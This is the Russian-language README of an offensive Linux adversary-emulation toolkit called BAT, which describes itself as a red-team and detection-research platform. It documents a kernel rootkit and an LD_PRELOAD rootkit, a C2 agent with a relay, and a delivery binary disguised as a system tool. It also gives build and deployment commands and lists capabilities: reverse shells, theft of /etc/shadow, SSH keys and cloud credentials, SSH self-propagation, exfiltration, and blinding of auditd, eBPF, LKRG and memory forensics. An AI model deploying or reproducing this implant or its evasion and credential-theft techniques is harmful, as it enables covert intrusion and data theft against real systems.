
Полноспектральная платформа симуляции противника для Linux с режимом скрытности на уровне ядра, C2-биконом, повышением привилегий, сбором учетных данных, горизонтальным перемещением и уничтожением артефактов. Разработана для операций красной команды и исследований обнаружения.
BAT — это реалистичная, эволюционирующая модель угрозы со стороны противника для Linux и Windows. Это не C2-фреймворк и не руткит. Это полноценная платформа симуляции угроз, которая объединяет C2-связь, модули руткита на уровне ядра для скрытности, обход на уровне пользователя, повышение привилегий, закрепление, внедрение процессов, сбор учетных данных, эксфильтрацию и горизонтальное перемещение в единого целостного противника. Цель разработки — создать наиболее сложную и реалистичную угрозу для Linux, достижимую в 2026 году, независимо от того, что в данный момент обнаруживают какие-либо системы детектирования.
Это сторона противника в паре исследовательских инструментов. Фреймворк Aura развивается для обнаружения Bat. Bat развивается, чтобы обходить Aura. Противник никогда не ограничивается детектором.
apt install nasm gcc-x86_64-linux-gnu binutils-x86_64-linux-gnu golang-go go install mvdan.cc/garble@latest
### 2. Настройка```bash
cp build.env.example build.env
nano build.env # RELAY_IP, SECRET, BAT_KEY, CDN_DOMAIN
Сгенерируйте секрет: openssl rand -hex 16
./build.sh # garble agent (x86_64+arm64) + server (arm64) + netshell ./build.sh agent # agent only ./build.sh server # server arm64 only (EC2 / Mac M-series) ./build.sh server-amd64 # server x86_64 only (PC Intel/AMD) ./build.sh netshell # netshell only
Бинарные файлы попадают в `bin/`.
### 4. Загрузка ретранслятора```bash
# on the relay VPS (as root)
sudo bash -s -- --tg-token $TG_TOKEN --tg-chat-id $TG_CHAT_ID < relay/setup.sh
# from the operator machine
source build.env
relay/sync.sh ubuntu@$RELAY_IP --key $BAT_KEY --restart-kcc --tg
scp -i $BAT_KEY bin/netshell-v11-{x86_64,arm64} ubuntu@$RELAY_IP:/var/www/nexus/agents/
./bin/bat-server-v11-arm64 # tunnel starts automatically, no flags needed
Разверните агента на цели:```bash
sudo setsid /path/to/bat-agent-v11-x86_64 </dev/null >/tmp/.log 2>&1 &
disown
Агент появляется в bat-server как <agentID>@<hostname> в течение одного интервала маяка (по умолчанию 30с).
Ядро уровня скрытности (bat-stealth.ko, исходный код в kperf-qos/) построено непосредственно на основе Singularity, продвинутой исследовательской платформы для руткитов ядра. Были перенесены и адаптированы четыре основных модуля:
bpf_hook: Перехватывает bpf(2) и все примитивы связи eBPF. Любой сенсор eBPF не получает никакой телеметрии для скрытых PID. Адаптировано: ARCH_SYS("bpf") заменяет __x64_sys_bpf, специфичный для x86; __ia32_sys_bpf удалён для ARM64; HIDDEN_PORT заменён на глобальную переменную, настраиваемую через sysfs.
hiding_fs: Полное сокрытие файловой системы: фильтрация getdents64/getdents, корректировка nlink для stat/statx/newfstatat, блокировка openat/access/faccessat и /proc/<pid>, блокировка chdir и readlink. Объединён из пяти модулей Singularity (hiding_directory, hiding_stat, open, hiding_chdir, hiding_readlink). Адаптировано: макросы заменяют прямой доступ к регистрам; расширена для runtime-конфигурируемого .
hide_module: Удаляет bat-stealth.ko из всех списков модулей ядра. Расширено: Singularity уже сохраняет list.prev; эта версия сохраняет как list.prev, так и list.next и отравляет оба, чтобы заблокировать обход в любом направлении. Добавлен module_unhide() для обратимого удаления, необходимо для K-99, прежде чем delete_module(2) сможет найти модуль по имени.
lkrg_bypass: Подавляет принудительное применение LKRG для скрытых процессов: перехватывает доставку сигналов, чтобы блокировать SIGKILL для скрытых задач, перехватывает vprintk_emit для отбрасывания сообщений журнала LKRG, отключает проверку UMH во время выполнения агента. Перенесён напрямую без архитектурных изменений.
Следующие модули были разработаны независимо:
become_root: перехват сигнала 59, который вызывает commit_creds(prepare_kernel_cred(NULL)) для предоставления uid=0 (K-03)selfdefense: блокирует захват памяти LiME, скрывает записи kallsyms, блокирует kprobes на символах агента, повторно скрывает модуль при любой попытке перечисленияaudit: подавляет события auditd для скрытых PIDsysrq_hook: перехватывает SysRq-T, чтобы исключить скрытые процессы из дампов задачtaskstats_hook: фильтрует ответы NETLINK taskstats для скрытых PIDreset_tainted + clear_taint_dmesg: обнуляет /proc/sys/kernel/tainted и фильтрует строки dmesg, содержащие признаки загрузки модуляhooks_write: перехватывает все пути записи ядра (write/splice/sendfile/tee + io_uring_enter/enter2 + ia32 compat) для отбрасывания записей журнала, соответствующих строкам агента, до того, как они достигнут syslog или journaldpid_manager: точка трассировки fork для поддержания набора скрытых PID в дочерних процессахПолный стек делает агента и все его артефакты невидимыми для: ps, top, ss, netstat, lsof, обхода файловой системы по скрытым путям, lsmod, sysfs, kallsyms, auditd, всех сенсоров eBPF, LKRG, LiME и криминалистического анализа SysRq.
Target Relay (VPS) Operator (local)
bat-agent --HTTPS:443--> nginx:443 -> :8443 --tunnel--> bat-server:9443 --TCP:9443 --> sshd:9443 --tunnel--> --UDP/ICMP --> (trigger forwarded)
bat-agent --HTTPS:9444-> kcc-server:9444 (kernel compile)
| Компонент | Роль |
|---|---|
| `bat-agent` | Агент. Отправляет маячки, выполняет TTP. Обфусцирован с помощью Garble. |
| `bat-server` | Консоль оператора. Интерактивный CLI. Управляет всеми агентами. |
| `netshell` | Бинарный файл доставки. Выглядит как системный инструмент; на самом деле полноценный агент. |
| `bat-rootkit.so` | Пользовательский руткит LD_PRELOAD. Скрывает файлы, PID, порты, переменные окружения. |
| `bat-stealth.ko` | Модуль стелс-слоя ядра (на основе Singularity). |
| `kcc-server` | Релейный сервис. Компилирует `bat-stealth.ko` по запросу для работающего ядра цели. |
| `relay/` | Релейная инфраструктура: nginx, TLS, настройка, синхронизация, скрипты доставки. |
---
## Обойденные защиты
| Категория | Защита | Механизм обхода |
|---|---|---|
| Мониторинг процессов | `ps` / `top` / список `/proc` | `hiding_procs.c`: хук `getdents64` удаляет записи PID агента из procfs до чтения пользовательским пространством |
| Мониторинг процессов | `/proc/<pid>/status`, `/proc/<pid>/cmdline` | `hiding_procs.c`: хук `filldir` фильтрует префиксы PID из всех результатов readdir |
| Файловая система | `ls` / `find` по файлам и директориям агента | `hiding_fs.c`: хуки `getdents64`/`getdents` на целевых путях; stat nlink корректируется для соответствия |
| Файловая система | Обнаружение с помощью `lsattr` / `chattr` | `hiding_fs.c`: перехват `ioctl` на путях файлов агента |
| Файловая система | Список `/proc/modules` / `lsmod` | `hiding_module.c`: удаляет запись `bat-stealth.ko` из всех списков модулей sysfs и procfs |
| Сеть | Список портов `ss` / `netstat` | `hiding_net.c`: хуки `tcp4_seq_show`/`tcp6_seq_show` удаляют записи портов C2 из вывода |
| Сеть | `/proc/net/tcp`, `/proc/net/tcp6` | `hiding_net.c`: перехват чтения seq_file удаляет строки сокетов C2 |
| Журналы | Путь записи `syslog` / `journald` | `hooks_write.c`: перехват `write`/`splice`/`sendfile`/`tee`; записи журнала, содержащие строки агента, отбрасываются на уровне ядра |
| Журналы | Асинхронный путь записи `io_uring` | `hooks_write.c`: перехвачены `io_uring_enter`/`io_uring_enter2`; покрыт совместимый путь ia32 |
| Безопасность ядра | `rkhunter` / `chkrootkit` | Модуль скрыт из `/proc/modules`; файлы агента скрыты из файловой системы; подтверждено отсутствие предупреждений |
| Безопасность ядра | ClamAV | Обфускация Garble `-literals -tiny` + отсутствие встроенных строк в открытом виде; подтверждено 0 обнаружений (БД 2026-04-20) |
| EDR / eBPF | Датчики на основе eBPF, читающие `/proc` | Хуки скрытия перехватывают на уровне ядра до генерации событий кольцевого буфера eBPF |
| Интроспекция ядра | `ftrace` / `kprobes` на символах агента | Модуль `selfdefense` блокирует прикрепление kprobe к адресам функций агента |
| Криминалистика ядра | Захват памяти LiME | `selfdefense` блокирует загрузку модуля LiME и доступ к устройству сырой памяти |
| Криминалистика ядра | Дамп задач SysRq-T | `sysrq_hook` исключает скрытые процессы из списка задач, записываемого SysRq-T |
| Криминалистика ядра | NETLINK taskstats | `taskstats_hook` фильтрует ответы NETLINK taskstats для скрытых PID |
| Целостность ядра | Принуждение LKRG | `lkrg_bypass` подавляет доставку `SIGKILL` от LKRG и отбрасывает сообщения журнала LKRG |
| Подсистема аудита | Запись системных вызовов `auditd` | Модуль `audit` подавляет события аудита для всех скрытых PID на уровне аудита ядра |
---
## Хуки системных вызовов
Все хуки устанавливаются модулем `bat-stealth.ko` через ftrace во время загрузки. Записи ia32 компилируются только на x86_64 (`#ifdef ARCH_SYS_IA32`).
| Системный вызов / Функция | Модуль | Назначение |
|---|---|---|
| `getdents64` | `hiding_procs.c` | Скрыть PID агента из списков директорий `/proc` |
| `getdents` | `hiding_procs.c` | 32-битная совместимость: скрыть PID агента |
| `filldir` (readdir) | `hiding_procs.c` | Дополнительный фильтр записей proc для устаревших вызывающих readdir |
| `getdents64` | `hiding_fs.c` | Скрыть файлы агента из списков директорий |
| `getdents` | `hiding_fs.c` | 32-битная совместимость: скрыть файлы агента |
| `ia32_getdents64` | `hiding_fs.c` | Совместимый системный вызов x86 |
| `ia32_getdents` | `hiding_fs.c` | Совместимый системный вызов x86 |
| `ia32_stat` / `ia32_lstat` / `ia32_fstat` | `hiding_fs.c` | 32-битные перехваты stat для скрытых путей |
| `ia32_open` / `ia32_openat` / `ia32_access` | `hiding_fs.c` | 32-битные перехваты open/access |
| `ia32_readlink` | `hiding_fs.c` | 32-битный перехват readlink |
| `ia32_chdir` | `hiding_fs.c` | 32-битный перехват chdir |
| `ioctl` | `hiding_fs.c` | Перехват ioctl `lsattr`/`chattr` на путях агента |
| `tcp4_seq_show` | `hiding_net.c` | Скрыть записи порта C2 из `/proc/net/tcp` |
| `tcp6_seq_show` | `hiding_net.c` | Скрыть записи порта C2 из `/proc/net/tcp6` |
| `bpf` | `bpf_hook.c` | Обнулить телеметрию для скрытых PID во всех программах eBPF |
| `write` | `hooks_write.c` | Отбрасывать записи журнала, содержащие строки агента, до попадания в syslog |
| `splice` | `hooks_write.c` | Такой же перехват через путь splice |
| `sendfile` | `hooks_write.c` | Такой же перехват через путь sendfile |
| `tee` | `hooks_write.c` | Такой же перехват через путь tee |
| `io_uring_enter` | `hooks_write.c` | Перехват асинхронной записи io_uring |
| `io_uring_enter2` | `hooks_write.c` | Перехват асинхронной записи io_uring (системный вызов v2) |
| `sched_process_fork` (tracepoint) | `pid_manager.c` | Наследование скрытого статуса при `fork`/`clone` |
| `vprintk_emit` | `lkrg_bypass.c` | Отбрасывать сообщения журнала LKRG |
| `finit_module` / `init_module` | агент (загрузчик kcc) | Бесфайловая загрузка модуля ядра через `memfd_create` + анонимный fd |
---
## Справочник TTP
| TTP | Название | Описание |
|---|---|---|
| 1 | masquerade | Переименовать comm процесса в `kworker/0:1` (или пользовательское) |
| 2 | reverse_shell | Обратный TCP-шелл на relay:4445 |
| 3 | memory_rwx | Выделить анонимную RWX-память (зондирование обнаружения) |
| 4 | shell_exec | Выполнить произвольную команду оболочки |
| 5 | beacon | Принудительная немедленная дополнительная проверка связи |
| 6 | persist | Установить постоянство (cron / systemd / rc.local / openrc / profile / XDG autostart) |
| 7 | creddump | Сбор `/etc/shadow`, истории bash, секретов окружения, AWS IMDS |
| 9 | exec_chain | Запустить цепочку процессов (зондирование обнаружения) |
| 10 | install_rootkit | Развернуть `bat-rootkit.so` через `/etc/ld.so.preload` |
| 11 | inject + exit | Внедрить потоки beacon + rawsock в живой процесс, затем самоуничтожиться |
| 20 | network_recon | Сканирование ARP-таблицы + TCP :22 локальной подсети |
| 21 | ssh_harvest | Собрать закрытые ключи, known_hosts, authorized_keys, конфиги |
| 22 | lateral_move | SCP-копирование себя на обнаруженный хост через SSH, выполнение в открепленном режиме |
| 23 | creddump_full | Расширенный сбор учетных данных + снятие отпечатка окружения |
| 30 | exfil-file | Прочитать произвольный файл и передать его частями base64 по каналу маячка |
| 31 | exfil-dir | Упаковать директорию в tar+gzip и выгрузить по каналу маячка |
| 32 | exfil-auto | Отслеживать заданные пути и автоматически выгружать при изменениях |
| 34 | netmap | Сканировать /16 CIDR на живые хосты и открытые порты |
| 35 | autospread | Боковое перемещение по SSH на обнаруженные хосты с использованием собранных ключей; копирует агента и выполняет в открепленном режиме |
| 36 | smbprobe | Зондирование порта SMB (:445) для поиска кандидатов на боковое перемещение |
| 99 | kill | Тихая самоостановка |
| 222 | destruct | Удалить все артефакты, затереть память, выйти |
| 1003 | K-03 (privesc) | Сигнал ядра 59 запускает `commit_creds` на uid=0 |
| 1099 | K-99 (unload) | Двухфазная выгрузка `bat-stealth.ko` через sysfs + raw `delete_module(2)` |
Команды консоли (в приглашении `bat-server`):
- `kill`: TTP 99 всем агентам
- `destruct`: TTP 222 всем агентам
- `destruct @<agentID>`: целевая зачистка
---
### KCC: Кэш компиляции ядра
`bat-stealth.ko` компилируется по запросу для работающего ядра цели. Агент автоматизирует полный процесс во время выполнения; предварительно собранный модуль для каждой цели не требуется:
1. **Определение ядра**: агент читает `/proc/version` для получения точной строки `uname -r`.
2. **Запрос компиляции**: агент отправляет POST-запрос с строкой ядра на `kcc-server` (`:9444`) с подписью HMAC.
3. **kcc-server компилирует**: сервер собирает `bat-stealth.ko` для соответствующих заголовков ядра и кэширует результат по хешу ядра.
4. **Получение байтов модуля**: скомпилированный `.ko` возвращается в теле ответа.
5. **Бесфайловая загрузка**: агент создает анонимный файл в памяти (`memfd_create`, системный вызов 279 на x86_64 / 319 на ARM64), записывает байты модуля, затем вызывает `finit_module` (системный вызов 273 / 313) с пустой строкой параметров.
6. **Регистрация**: модуль регистрирует все хуки и скрывает себя из sysfs/procfs в течение миллисекунд.
Никакой файл `.ko` не записывается на диск ни на каком этапе. Модуль исчезает из `/proc/modules` сразу после загрузки.
**Минимальное ядро:** 6.x (зонд K-00; агент пропускает скрытую загрузку на старых ядрах).
**Протестировано:** 6.1.0 (Debian 12 / Ubuntu LTS), 6.8.0 (Ubuntu 22.04 GCP).
---
## Профили сборки```bash
make lab SECRET=<hex> # direct: agent -> relay:9443, UDP trigger
make cdn SECRET=<hex> # CDN: agent -> edge proxy -> relay:443
make singularity SECRET=<hex> # ICMP trigger only, no UDP port exposure
Все профили требуют SECRET=. Переопределите IP релея с помощью RELAY=<ip>.
SHA-256(secret); повторы отклоняются на стороне сервера.-literals в garble во время компиляции. -X ldflags намеренно не используется (значения ldflag отображаются в открытом виде в бинарниках).bat-server.Обложка)relay/static/ — публичная часть релея. Релиз поставляется с пустым заполнителем. Замените index.html и вспомогательные страницы на вашу прикрывающую идентичность перед запуском sync.sh. Скрипты доставки (static/i, static/api/setup, static/api/v1/index.json) используют __CDN_DOMAIN__ в качестве плейсхолдера; установите CDN_DOMAIN= в build.env, и sync.sh автоматически подставит его. Обновите relay/nginx/bat.conf, указав реальный домен в server_name и пути к TLS-сертификатам перед первым развёртыванием nginx.
Профиль CDN направляет трафик агента через слой пограничного прокси. Агент подключается к домену CDN по HTTPS; прокси пересылает трафик локальному слушателю релея через обратный SSH-туннель. С сетевой точки зрения, весь трафик агента исходит из диапазонов IP-адресов граничных узлов CDN, а не от VPS релея.
---
Когда цель запрашивает бинарник агента с конечной точки CDN, уведомление о доставке мгновенно отправляется в настроенный Telegram-канал. Уведомление включает: исходный IP, временную метку, путь запроса, обнаруженную архитектуру (x86_64/arm64), размер файла, строку User-Agent и идентификатор пограничного узла CDN.
Демон delivery-alert.service отслеживает лог доступа nginx и срабатывает при любом попадании на путь загрузки-приманки. Настройка производится во время начальной загрузки релея:```bash
sudo bash -s -- --tg-token <BOT_TOKEN> --tg-chat-id <CHAT_ID> < relay/setup.sh
Учётные данные записываются в `/etc/bat/tg.env` на ретрансляторе и распространяются на все цели синхронизации через `sync.sh --tg`. Служба запускается автоматически и переживает перезагрузки ретранслятора.
---
## Отказ от ответственности
Данное программное обеспечение разработано исключительно для проведения авторизованных исследований в области безопасности, имитации действий злоумышленников в контролируемых лабораторных средах, а также для разработки средств обнаружения и реагирования. Оно содержит функциональные реализации атакующих техник, включая руткиты уровня ядра, внедрение процессов, сбор учётных данных и горизонтальное перемещение. Развёртывание на любой системе без явного письменного разрешения владельца системы является незаконным в соответствии с законами о компьютерном мошенничестве и злоупотреблениях, действующими в большинстве юрисдикций.
Авторы не несут ответственности за любой ущерб, юридические последствия или вред, возникшие в результате несанкционированного, небрежного или злонамеренного использования данного программного обеспечения. Используя это программное обеспечение, вы подтверждаете, что являетесь квалифицированным специалистом по безопасности, действующим в рамках законных и авторизованных полномочий, и что полная юридическая и этическая ответственность за его использование лежит исключительно на вас.
Данное программное обеспечение не подлежит распространению, публикации или раскрытию третьим лицам без предварительного письменного согласия.
REGS_ARGnshould_hide_path()bat_hidden_paths[]| ATT&CK ID | Техника | Реализация в Bat |
|---|
| T1036.005 | Маскировка: соответствие легитимному имени | TTP 1: prctl(PR_SET_NAME) в kworker/0:1 |
| T1055 | Внедрение в процесс | TTP 11: shellcode + поток rawsock, внедрённые в активный процесс |
| T1205.001 | Сигнализация трафика (Magic Packet) | UDP/ICMP триггер пробуждает агента из спячки |
| T1071.001 | Веб-протоколы C2 | HTTPS-маячки через :443 или :9443 |
| T1573.001 | Зашифрованный канал: симметричный | HMAC-SHA256 аутентифицированные маячки через TLS |
| T1090.004 | Прокси: Domain Fronting | Профиль CDN направляет трафик агента через периферийный прокси-слой |
| T1574.006 | Перехват выполнения: LD_PRELOAD | TTP 10: bat-rootkit.so через /etc/ld.so.preload |
| T1014 | Руткит | bat-stealth.ko: скрывает PID, порты, файлы, модуль, себя |
| T1562.001 | Ослабление защиты: отключение инструментов | bpf_hook ослепляет сенсоры eBPF; lkrg_bypass отключает LKRG |
| T1562.012 | Ослабление защиты: отключение Linux Audit | Модуль audit подавляет события auditd для скрытых PID |
| T1068 | Повышение привилегий через эксплуатацию | K-03: сигнал 59 запускает commit_creds до uid=0 |
| T1543.002 | Создание/изменение системного процесса: Systemd | TTP 6: постоянство через systemd unit |
| T1053.003 | Планируемая задача: Cron | TTP 6: постоянство через crontab |
| T1070.002 | Очистка журналов Linux | clear_taint_dmesg фильтрует dmesg; reset_tainted обнуляет флаг taint; hooks_write отбрасывает записи журнала в ядре |
| T1070.004 | Удаление индикаторов: удаление файлов | TTP 222 уничтожение: полная очистка артефактов |
| T1003 | Извлечение учётных данных | TTP 7/23: /etc/shadow, история оболочки, секреты окружения |
| T1552.004 | Незащищённые учётные данные: закрытые ключи | TTP 21: ключи SSH, known_hosts, конфиги |
| T1552.005 | Метаданные облачного инстанса | TTP 23: сбор учётных данных AWS IMDS |
| T1018 | Обнаружение удалённых систем | TTP 20/34: перебор ARP + сканирование /16 CIDR |
| T1046 | Сканирование сетевых служб | TTP 20/34: сканирование TCP-портов обнаруженных хостов |
| T1021.004 | Боковое перемещение через SSH | TTP 22/35: SCP копирует себя на обнаруженный хост, выполняет отсоединённо |
| T1078 | Действительные учётные записи | TTP 22/35: боковое перемещение использует собранные ключи SSH |
| T1048 | Экспорт по альтернативному протоколу | TTP 30/31/32: экспорт файлов и каталогов через канал маяка |
| T1059.004 | Выполнение команд в оболочке Unix | TTP 4: выполнение произвольных команд |
| T1027 | Обфусцированные файлы или информация | garble -literals -tiny -seed=random; кодирование конфигурации XOR(0x5A) |
| T1620 | Рефлексивная загрузка кода | TTP 11: shellcode выполняется в адресном пространстве целевого процесса; bat-stealth.ko загружается через memfd_create |